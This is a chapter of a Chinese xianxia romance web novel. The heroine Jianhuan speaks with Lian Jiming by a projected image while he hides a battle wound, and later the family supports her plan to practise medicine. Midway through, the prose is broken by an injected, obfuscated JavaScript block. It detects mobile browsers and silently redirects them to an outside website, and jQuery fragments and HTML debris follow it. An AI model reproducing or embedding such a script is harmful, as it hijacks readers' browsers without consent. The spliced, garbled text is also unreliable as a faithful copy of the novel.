32. 第31章
作品:《照雪》 见欢写完信,又惆怅地叹气起来,对着小木鸟道:“你这么神通广大,怎么只能送只小木鸟进来,也不亲自来看我。”
她自然也只是发发牢骚,倒不是真的怪他不来,毕竟小木鸟能飞进来已经很不容易了。
小木鸟忽地吐出一颗小巧的珠子,下一秒,清润的笑声传来,带着一丝无奈。
见欢惊奇地抬起头,珠子上投出片虚影,刚刚还念叨的人,正满面笑容地看着她。
连既明的声音有些飘渺:“确实没有那么神通广大,只能这样见见欢了。”
他一袭鸦青色衣袍,腰间系了根玉带,正倚在书案上,皓腕从袖中露出一截,执着笔,似要写些什么。
影像如此清晰,连他睫毛上沾上的细小水珠都清晰可见。见欢惊喜道:“既明,既明,你能听见我说话吗?”
连既明温柔地看着她,叹息着摇头:“唉,听不见,怎么办呢?”
见欢眼睛弯成月牙,凑上前去:“既然咱们能这样见,你还写信做什么?”
连既明将笔隔在笔搁上,思考了一瞬,说道:“嗯…有时候,想说的话说不出来,只能写下来。见欢方才也应给我写了信,我倒是很想知道写了什么,你不若念给我听?”
见欢霎时脸红了起来,她方才在信上写了许多煽情的话,写时不觉,现在他一说,倒觉得不好意思起来。
“咳,写信又不是给你现在看的。”
连既明温和地笑了笑:“好,那我只能等着我的信使把信送回来了。”
见欢注意到他脸色苍白,关切道:“你近日可是生病了,脸色看起来不太好。”
他怔愣一瞬,旋即语气轻松道:“只是昨日没睡好,待今日好好睡一觉,就又看起来生龙活虎了。”
见欢忽然又凑近了些,仔细瞧着什么。
明明只是虚影,连既明却仿若能感受到女孩的呼吸拂在面上,如三月拂过水面的微风,带起了细小却绵延不绝的涟漪。
见欢道:“我觉得你在撒谎!”
连既明心脏砰砰跳着,一时竟忘记挂上如平时般温润亲和的微笑,怔怔看着她。
“你嘴唇毫无血色,肯定不是一日未睡好的缘故,是不是我送你的安神药囊没有效果?等我回了百花谷再好好研究一下。”
连既明摇了摇头:“药囊很好,只是近日事情有些多,思虑多了也就睡不着了。”
见欢担忧地蹙着眉:“事情再多也要好好休息,不要总思虑,好好睡一觉神情气爽地再做也不迟啊。”
连既明心软得一塌糊涂:“谨遵云大夫医嘱。”
画面中传来清凌的声响,有点像玉石与铁器的撞击声。连既明没什么反应,只笑道:“夜深了,你早些休息吧,等你回了百花谷,我再过去看你。”
折腾了一天,经他这么一说见欢也觉得有些困倦,点了点头:“好,记得好好睡觉好好吃饭!”
连既明笑着颔首,画面霎时切断。
他看向来人,笑意不减道:“怎么大晚上不睡觉,到我这儿来了。”
程子检大马金刀地朝他走来,腰间的长刀与玉佩碰到一起,像是在打拍子。桑榆跟在他后面,如影子般安静。
他面色不虞,目光如鹰隼般落在连既明脸上:“有时候我真怀疑你脸上的面具还没摘掉,不然怎么这么能装?”
程子检走到他面前,压抑着怒气:“明明伤还没好,禁不住去用蛮横的灵力。魔界近日是乱了点,但是那些宵小还不值得你用灵力硬压。你并非急功近利的人,我道是什么,原来是急着回来说话。”
晚间他与程子检正在斩杀怨鬼,传音珠中见欢的啜泣声忽的传来。不知为何,平日这些并不被他放在眼中的怨鬼他今日却觉得格外烦人,心下烦躁,只想速战速决。
于是乎,程子检眼见他手中原本形态为剑的沉月唰地变成了一把镰刀,这是它的初始形态,也是杀意最重、最强横的形态。
程子检只见过他用这个形态的沉月两次。
第一次,是连既明堕神成魔时,他未乘船,从赤水上飞渡而来,脸色灰败,双目无神,单手拿着沉月。那把镰刀通体玄黑,如最深的夜色,任何颜色沾染上也只能归于虚无和沉寂,其上没有繁复的花纹,只有血色的魔气缭绕。
魔界强者为尊,成为尊主的方式很简单粗暴,就是杀了上一代魔尊取而代之,这么多年,除了初代魔尊祈宁寿终正寝之外,还没有一个魔尊能得善终。
有魔会养怨鬼,作为自己争权的利器,程子检对于此种行径极其厌恶。怨鬼这种天生天养的东西极其不可控,心魔与魇魔曾归属于魔尊,结果随着他们力量愈发强大,不满足于屈居人下,联手杀了魔尊后,两只魔为谁来坐魔尊之位大打出手,最后魇魔胜利,心魔重伤逃跑。
不过普通鬼不在意,谁当魔尊对于他们来说都一样,只要能力强,能让神族忌惮就行。程子检也不在意,他这个阎王已经当了很久,没人会想要他的位置,原因十分简单,就是不会有人想一天到晚对着卷轴的!魔界最忙碌的鬼就是他了,谁要是想要他的位置,他恨不得直接拱手相让!
连既明用沉月,杀死了已经化出形体的心魔,重伤了与心魔双生的魇魔,碎其肉身,一路杀了不少怨鬼,也因此成为了魔尊,只是知之者甚少。魔尊迭代太快,连既明又低调,大多数魔也就知道上面又换了个人而已。
第二次就是刚刚,程子检有些愣神,不过瞬息,沉月横扫,除了几缕黑烟外,几乎没有怨鬼来过的痕迹。
直到黑烟也被沉月吞噬,他才回过神,看向连既明。
连既明神色淡漠,见程子检看向自己,瞬间挂上了往常的笑意:“好了,既然已经处理完了,便回去吧。”
他穿了件白衣,胸前已经渗出血迹,恍若未觉,神情自若的好像那点殷红是颜料染成的一样。
程子检将周围检查一遍后,决定去看看连既明的情况,还未进去,就听到他流畅地对女孩说着谎话。
脸色不好是因为没睡好是假的,自己捅刀子伤没好才是真的。
他已经换了一身衣裳,沐浴过的发尾还湿着,书案上的纸空白一片,为了不被看出端倪,他还真是用心良苦。
连既明道:“你以为我是弱柳扶风的病弱公子么,早就无碍了。”
程子检嗤笑一声:“你当我眼睛瞎是吗?”
他抛个东西过去,连既明下意识接住,是一个瓷瓶。
“前几日偶然得来的,听说治伤不错,我也用不到,给你了。”
桑榆听到这话抬起头来。
什么偶然得来的,不是他带了一堆奇珍异宝,全程冷脸,威逼又利诱,和人家换的吗?
连既明显然也知道阎王爷嘴硬心软,很是别扭,笑道:“多谢。”
程子检冷哼一声,像拎小鸡仔一样把身后的桑榆拎了出来:“他同我学刀法已然多时,灵力也尚可,今后再有怨鬼,我会让他历练。”
桑榆眼睛发亮,连既明颔首。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051567|191751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“魔界不是只有你一个大能,也无需你拼生拼死,好好养你的伤。”
傲娇的阎王爷留下这句颇具个人风范的话之后,潇洒地转身离开了。
—
自那晚过后,南玄衍忙于族务,整天待在书房,连用饭也不同他们一起。
见欢没来由地觉得奇怪,但因为慕容雪总来找她,两人凑在一起抑或是谈天说地,抑或同游,她也就没时间东想西想。
几日后,慕容雪再度启程,离开前拉着见欢的手和她说了好一会儿话。
树林阴翳,阳光透过叶片空隙照到地上,形成一个个金黄圆润的光球,鸟儿在林间飞翔追逐。微风吹拂,是个舒适的好天气。
许多人前来为慕容雪送行,她很是潇洒地朝众人挥挥手,抱负满怀地踏上了新的征程。
现下的日子虽好,见欢却不愿一直混吃等死。当时和云暮学医术一来因着自己身上的病症,二来也是想找点事做,可如今,她却真正明白了云暮痴迷于此的原因。
诚然,人间有八苦,苦在心中,唯修心可解。但与此同时,身体康健是一切幸福生活的根基,为医者,医身,也医心。
能帮助人们免受疾病的困扰,实在是一件很有成就感的事情。
她同云暮讲了她想回人间行医的想法,不出所料地遭到了云暮的反对:“你没有灵力,现在又不知多少人知道了你的身世,实在太危险了。”
他放软了语气:“百花谷不也很好吗,你依旧可以看医书,研究草药,若是待腻了,就给你施个幻形术,我和衍陪你出去逛逛。”
见欢笑了笑:“云暮,你愿意一辈子待在同一个地方,只为了所谓的假设的危险,永远不出去吗?”
没等他回答,见欢道:“我不愿意。”
她走到窗前,看着舒展的绿意,说道:“山平海阔,世间如此广袤,我不愿偏安一隅。”
见欢转过身,目光坚定:“更何况,我无愧天地,行的端坐的正,为什么不能出去?”
她不是折翼的鸟儿,大千世界,精彩纷呈,若只为这点难处就止步不前,与温室中娇养的花朵有什么区别?
云暮自然明白这些,可是关心则乱,他不愿见欢遭受一丁点危险。
恰好南玄衍进来,见欢却没像往常一样凑上前去,把自己的想法说给他听。
云暮毫无察觉,他现在拿不定主意,遂将见欢想要继续去人间行医的事情讲给他听,也是想看看他的看法。
南玄衍看向见欢,见欢与他对视,面上沉静,心中却也好奇他会说什么。
是会像云暮一般反对吗?
还是……
“我支持见欢的决定。”
他声音清冷:“这是她的人生,她拥有选择怎样度过一生的自由。”
见欢一时间忘了呼吸,就那样看着他。
阳光透过窗棂照在他的侧脸,脸部线条冷厉而流畅,金色的眼眸映着光,薄唇呈浅淡的粉色,此时正一开一合,那些字句落在耳中,令她心跳骤然失序。
她没想到他会说这样的话。
“作为家人,我们要尊重她的选择。”
云暮热泪盈眶,见欢微愣,她第一次从他口中,听到“家人”二字。
这曾是她梦寐以求的,与他最亲密的关系。即便没有血缘关系,这个词也能把两个人牵在一起,生出不依靠血脉而生的羁绊。
为什么她的心会胀胀的?
是太高兴了吗?

